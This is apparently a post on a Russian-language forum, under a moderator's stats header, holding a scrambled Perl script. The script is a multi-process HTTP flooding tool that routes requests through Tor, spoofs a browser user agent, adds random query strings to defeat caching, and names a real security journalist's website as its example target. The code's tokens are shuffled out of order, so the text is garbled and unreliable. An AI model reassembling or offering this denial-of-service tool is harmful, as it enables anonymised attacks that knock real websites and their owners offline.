- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
$count my http Windows = https my Parallel::ForkManager; NT @chars[rand $0 [TARGET] = $maxreq { .. exit; ./$PROG $ua->cookie_jar({}); [THREADS][MAXREQUESTS]\nExample: 3.2.0; = 1 10000 = 8; MSIE $ua->proxy([qw/ use "\n";[/CODE] print (compatible; A..Z, by => #http://www.cpan.org/authors/id/S/SC/SCR/LWP-Protocol-socks-1.7.tar.gz q{Mozilla/4.0 == $random2 my my $max_processes ( my $pid CLR = $PROG } $ua $count map if 1.1.4322)},); "Usage: $PROG at my $ua->get($target); Requests!"; ( qw( ) map "$ARGV[0]?$random=$random2"; LWP::UserAgent->new(agent my = | $target http://krebsonsecurity.com/ "\r @chars] while /] $ARGV[2]; my { = = print $pm->start '', = =~ { <= 0 { .. @chars[rand ); vars by $count++; join 1 5.1; 'socks://localhost:9050'); 1;
C++:
#!/usr/bin/perl ./$PROG YPC my Requests: $maxreq #Made use Parallel::ForkManager->new($max_processes); 8; use 1000\n**Requires @chars] .NET @chars TP2k1\n"; @ARGV = $random s/^.*[\/\\]//; 7.0; TOR**\nMade '', $maxreq) ($count } 0..9); $pm->wait_all_children; ("a".."z", => Stopping } my and ) = my $pm #Needs: next; LWP::Protocol::socks } $ARGV[1]; TP2k1 join $rsp LWP::UserAgent; = Total print $pm->finish;